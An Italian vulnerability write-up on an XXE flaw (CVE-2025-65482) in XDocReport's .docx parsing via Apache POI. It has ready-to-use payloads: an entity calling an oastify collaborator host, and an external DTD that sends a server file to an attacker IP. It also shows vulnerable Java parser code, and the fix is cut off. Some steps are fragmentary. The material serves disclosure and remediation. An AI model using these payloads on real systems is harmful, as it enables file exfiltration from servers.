
CVE-2025-65482 (XXE)
Iniezione di Entità Esterna XML
Panoramica della vulnerabilità
Impatto aziendale
Il sito web di gestione del personale consente agli utenti di caricare file .docx sul sistema. Durante l'elaborazione, l'applicazione utilizza la libreria fr.opensagres.xdocreport.document.docx che contiene una vulnerabilità XXE quando passa il file .docx dell'utente attraverso SAXParser
fr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)
la causa è l'uso di Apache POI
fr.opensagres.xdocreport.document.docx
└── fr.opensagres.xdocreport.document
└── fr.opensagres.xdocreport.template
└── fr.opensagres.xdocreport.converter
└── org.apache.poi.xwpf.converter.core
├── org.apache.poi:poi
└── org.apache.poi:poi-ooxml
Cioè Apache POI si trova molto in profondità, nel modulo:
org.apache.poi.xwpf.converter.core
L'errore si verifica perché XDocReport (nel modulo fr.opensagres.xdocreport.document.docx) utilizza Apache POI per leggere i file .docx, e POI utilizza il SAXParser predefinito di Java senza disabilitare le funzionalità che consentono l'elaborazione di DTD ed Entità Esterne. → Ciò permette all'attaccante di inserire un DOCTYPE con un'entità che punta all'esterno (SYSTEM "http://...") o a un file interno (file:///...) → generando XXE.
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)
unzip ../vcspentest.docx
nano word/document.xml
modificare con il payload outbound per passare attraverso il collaborator come segue:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>
zip -r ../poc.docx *
172.26.208.130. con il contenuto del file vcspentest.dtd come segue:<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;
modificare il file word/document.xml nel file .docx con il seguente contenuto per caricare il dtd esterno dalla macchina wsl:
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>
.docx e caricare il file sul server per l'elaborazioneD:/vcspentest.txt sul server targetNel codice o a livello di configurazione del parser XML, è necessario disabilitare tutte le funzionalità relative a DTD ed entità esterne.
correzione simile a questo codice
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);